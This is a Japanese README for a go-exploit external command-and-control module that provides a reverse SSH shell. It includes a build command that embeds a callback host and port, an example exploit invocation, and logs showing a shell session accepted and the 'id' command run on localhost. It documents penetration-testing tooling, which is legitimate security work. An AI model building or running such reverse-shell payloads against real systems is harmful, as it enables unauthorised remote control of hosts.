外部C2: SSH

go-exploitの外部C2モジュールで、リバースSSHシェルをサポートします。さらに、外部C2プロファイルをお気に入りのペイロードに統合する方法のデモンストレーションとしても機能します。目標は、回避技術や高度なテクニックを備えた完全に武器化されたペイロードを提供することではなく、より強力な回避モジュールを実装でき、go-exploitに簡単に統合できるペイロードのためのチャネルを作成する方法を示すことです。

構造

• SSHペイロードをキャッチするサーバーをセットアップするためのインターフェースと構造を実装するコアc2sshパッケージ
• ./payloadには、エクスプロイトで使用されるペイロードの実装が含まれています。これは機能的にはSSHクライアントであり、サーバーの応答に基づくexecの薄いラッパーです
• ./exampleには、コンパイルされたサンプルペイロードを実行する自己エクスプロイトテストが含まれています

使用例

1. エクスプロイトで使用するためにペイロードをコンパイルしてエクスプロイトからアクセスできるようにします。これは常にGoペイロードを使用するわけではないため、現在はフレームワークから分離されています :)
2. エクスプロイトを実行します

go build -ldflags "-s -w -X main.Rshost=127.0.0.1 -X main.Rsport=2223" -o reverse_shell

poptart@grimm $ go run example/exploit.go -lhost 127.0.0.1 -lport 2222 -rhost 127.0.0.1 -rport 1337 -e -fll DEBUG -ell DEBUG -t 0
time=2024-08-06T12:09:02.762-06:00 level=DEBUG msg="Using the HTTP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
time=2024-08-06T12:09:02.763-06:00 level=STATUS msg="Starting target" index=0 host=127.0.0.1 port=1337 ssl=false "ssl auto"=false
time=2024-08-06T12:09:02.763-06:00 level=DEBUG msg="External SSH Listener starting: 127.0.0.1:2222"
time=2024-08-06T12:09:02.766-06:00 level=DEBUG msg="SSH: Handshaking for 127.0.0.1:38878"
time=2024-08-06T12:09:02.768-06:00 level=STATUS msg="Active shell SSH: Connection accepted from [email protected]:38878 session: 451e905e22ffbc7ab6235ad73379eeea2c65ba532405d81a431e1c5159ba1179 (SSH-2.0-OpenSSH_9.7)"
id
time=2024-08-06T12:09:04.725-06:00 level=STATUS msg="Running command on SSH client: 'id'"
time=2024-08-06T12:09:08.812-06:00 level=SUCCESS msg="uid=1000(poptart) gid=100(users) groups=100(users),1(wheel),67(libvirtd)\n"